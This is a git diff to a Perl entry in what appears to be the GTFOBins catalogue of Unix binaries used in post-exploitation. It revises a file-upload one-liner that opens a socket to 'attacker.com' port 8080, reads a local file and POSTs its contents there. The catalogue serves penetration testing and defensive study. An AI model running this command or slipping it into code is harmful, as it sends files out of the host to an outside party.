diff --git a/_gtfobins/perl.md b/_gtfobins/perl.md index 6f92a72..d5cb6f7 100644 --- a/_gtfobins/perl.md +++ b/_gtfobins/perl.md @@ -11,9 +11,8 @@ functions: code: | export RHOST=attacker.com export RPORT=8080 - export URL=/exploit.sh - export LFILE=output.txt - perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>$ENV{"RHOST"}, PeerPort=>$ENV{"RPORT"}, Proto=>"tcp") or die;open(my $file, "<", $ENV{"LFILE"}) or die;$content = join("", <$file>);close($file);$post_data = "d=" . $content;$headers = "POST " . $ENV{"URL"} . " HTTP/1.1\r\nHost: " . $ENV{"RHOST"} . "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($post_data) . "\r\nConnection: close\r\n\r\n";print $s $headers . $post_data;while (<$s>) { }close($s);' + export LFILE=file_to_send + perl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>$ENV{"RHOST"}, PeerPort=>$ENV{"RPORT"}, Proto=>"tcp") or die;open(my $file, "<", $ENV{"LFILE"}) or die;$content = join("", <$file>);close($file);$post_data = "d=" . $content;$headers = "POST / HTTP/1.1\r\nHost: " . $ENV{"RHOST"} . "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . length($post_data) . "\r\nConnection: close\r\n\r\n";print $s $headers . $post_data;while (<$s>) { }close($s);' file-download: - description: Download a file via HTTP. For example, run `python3 -m http.server 8080` on the serving side. code: |